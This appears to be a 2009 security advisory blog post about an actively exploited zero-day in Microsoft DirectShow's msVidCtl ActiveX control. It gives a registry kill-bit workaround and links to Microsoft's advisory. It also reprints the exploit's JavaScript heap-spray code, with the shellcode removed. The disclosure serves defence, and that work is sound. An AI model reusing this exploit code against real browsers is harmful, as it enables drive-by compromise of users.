A 0-day exploit within the msVidCtl component of Microsoft DirectShow is actively being exploited through drive-by attacks using thousands of newly compromised web sites, according to CSIS. The code has been published in the public domain via a number of Chinese web sites.

Please keep a watchful eye on your AV and IDS/IPS vendors updates to ensure coverage as early as possible on this exploit as it is likely to be widely deployed with the code being available.

A valid work around for the attack vector is available which set's the kill bit on the vulnerable DLL.

Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftInternet ExplorerActiveX Compatibility{0955AC62-BF2E-4CBA-A2B9-A63F772D46CF}]
"Compatibility Flags"=dword:00000400 

Details of the exploit are available on the CSIS web site, but are included below:

var appllaa='0';

var nndx='%'+'u9'+'0'+'9'+'0'+'%u'+'9'+'0'+'9'+appllaa;

[SHELL CODE REMOVED]

var headersize=20;

var omybro=unescape(nndx);

var slackspace=headersize+dashell.length;

while(omybro.length<slackspace)

omybro+=omybro;

bZmybr=omybro.substring(0,slackspace);

shuishiMVP=omybro.substring(0,omybro.length-slackspace);

while(shuishiMVP.length+slackspace<0x30000)

shuishiMVP=shuishiMVP+shuishiMVP+bZmybr;

memory=new Array();

for(x=0;x<300;x++)

memory[x]=shuishiMVP+dashell;

var myObject=document.createElement('object');

DivID.appendChild(myObject);

myObject.width='1';

myObject.height='1';

myObject.data='./logo.gif';

myObject.classid='clsid:0955AC62-BF2E-4CBA-A2B9-A63F772D46CF';

UPDATE July 6, 2009 19:00 UTC

Microsoft have released an advisory for the exploit, it can be found here :
http://www.microsoft.com/technet/security/advisory/972890.mspx

In addition, they have published a number of blog entries to cover their user base:
http://blogs.technet.com/msrc/default.aspx
http://www.microsoft.com/technet/security/advisory/default.mspx
http://blogs.technet.com/srd/